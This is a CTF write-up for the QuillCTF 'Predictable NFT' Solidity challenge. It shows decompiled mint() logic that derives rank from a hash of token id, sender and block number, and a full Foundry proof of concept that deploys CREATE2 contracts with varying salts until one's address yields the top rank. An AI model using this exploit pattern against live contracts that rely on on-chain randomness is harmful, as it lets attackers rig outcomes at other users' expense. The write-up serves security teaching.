Predictable NFT is a Solidity CTF challenge from QuillCTF.
Solution
In this contract, we don't have any contract. There is only one foundry setUp file. Contract is deployed on goerli test network.
However since code is not verified, we can not see the code.
Objective of CTF is
In this game, you can spend 1 ether to "mint" an NFT token with 3 possible ranks: Common(1), Rare(2), and Superior(3). As a hacker, your goal is to always mint the Superior ones.
So we need to mint a token with rank Superior. If take a look to the decompiled code it can be seen that
function mint() public payable {
require(0xde0b6b3a7640000 == msg.value, Error('show me the money'));
require(_id <= 1 + _id, Panic(17)); // arithmetic overflow or underflow
_id += 1;
require(100, Panic(18)); // division by zero
if (keccak256(_id, msg.sender, block.number) % 100 <= 90) {
if (keccak256(_id, msg.sender, block.number) % 100 <= 80) {
v0 = v1 = 1;
} else {
v0 = v2 = 2;
}
} else {
v0 = v3 = 3;
}
_tokens[_id] = v0;
return _id;
}
mint()
function is expecting us to give 0xde0b6b3a7640000
amount as msg.value, which is 1 ether to call that function. And for the rank part there is a keccak256
hashing and then it checks modulo 100 for that one to calculate the reward. So if we want to mint superior tokens somehow we need to make that keccak256 % 100
statement return more than 90. That statement is calculating 3 things together. _id
of the token, msg.sender
and also the block.number
. It is not possible for us to play with block.number
or _id
because they will be updated in every call and our goal is to mint superior tokens all the time. We can only play with the msg.sender
value.
If we take a look to the foundry setup
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^ 0.8.19;
import "forge-std/Test.sol";
contract PredictableNFTTest is Test {
address nft;
address hacker = address(0x1234);
function setUp() public {
vm.createSelectFork("goerli");
vm.deal(hacker, 1 ether);
nft = address(0xFD3CbdbD9D1bBe0452eFB1d1BFFa94C8468A66fC);
}
function test() public {
vm.startPrank(hacker);
uint mintedId;
uint currentBlockNum = block.number;
// Mint a Superior one, and do it within the next 100 blocks.
for(uint i=0; i<100; i++) {
vm.roll(currentBlockNum);
// ---- hacking time ----
currentBlockNum++;
}
// get rank from `mapping(tokenId => rank)`
(, bytes memory ret) = nft.call(abi.encodeWithSignature(
"tokens(uint256)",
mintedId
));
uint mintedRank = uint(bytes32(ret));
assertEq(mintedRank, 3, "not Superior(rank != 3)");
}
}
It can be also seen that our hacker
accounts address is 0x1234
and we can't use any other address. However mint
function doesn't have any contract control. So it means we can call that function from a smart contract. We can deploy a smart contract with using the salt
value.
The salt value is used in the deployment process to generate a deterministic address for the new contract instance. The address of the contract is determined by hashing together the creator address, the salt value, and the contract creation code. Since the salt value is different for each contract instance, each instance will have a different address.
With the help of salt
we can create bunch of different smart contracts and check if their address is valid for current block.number
and _id
.
POC
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^ 0.8.19;
import "forge-std/Test.sol";
interface IPredictableNFT {
function mint() external payable;
}
contract AttackContract {
address nft = address(0xFD3CbdbD9D1bBe0452eFB1d1BFFa94C8468A66fC);
function attack() public payable returns(uint256){
(, bytes memory ret2) = nft.call{value: msg.value}(abi.encodeWithSignature(
"mint()"
));
return uint256(bytes32(ret2));
}
}
contract Create2Factory {
event Deploy(address addr);
function createContract(uint256 id) public payable returns(uint256){
for(uint256 i; i < 200; i++){
AttackContract _contract = new AttackContract{
salt: bytes32(i) // the number of salt determines the address of the contract that will be deployed
}();
if(isValid(address(_contract), id)){
return _contract.attack{value: msg.value}();
}
}
revert("Couldn't found");
}
function isValid(address testAddr, uint256 _id) public view returns (bool) {
return uint256(keccak256(abi.encode(_id, testAddr, block.number))) % 100 >= 90;
}
}
contract PredictableNFTTest is Test {
address nft;
address hacker = address(0x1234);
function setUp() public {
vm.createSelectFork("goerli");
vm.deal(hacker, 1 ether);
nft = address(0xFD3CbdbD9D1bBe0452eFB1d1BFFa94C8468A66fC);
}
function test() public {
vm.startPrank(hacker);
uint mintedId=0;
uint currentBlockNum = block.number;
// Mint a Superior one, and do it within the next 100 blocks.
Create2Factory factory = new Create2Factory();
for(uint i=0; i<100; i++) {
vm.roll(currentBlockNum);
if(mintedId == 0){
(bool success, bytes memory ret3) = nft.call(abi.encodeWithSignature(
"id()"
));
uint256 currentId = uint256(bytes32(ret3)) + 1;
mintedId = factory.createContract{value: 1e18}(currentId);
break;
}
currentBlockNum++;
}
// get rank from `mapping(tokenId => rank)`
(, bytes memory ret) = nft.call(abi.encodeWithSignature(
"tokens(uint256)",
mintedId
));
uint mintedRank = uint(bytes32(ret));
assertEq(mintedRank, 3, "not Superior(rank != 3)");
}
}
> forge test
[⠒] Compiling...
No files changed, compilation skipped
Running 1 test for test/PredictableNFTTest.t.sol:PredictableNFTTest
[PASS] test() (gas: 725097)
Test result: ok. 1 passed; 0 failed; finished in 1.04s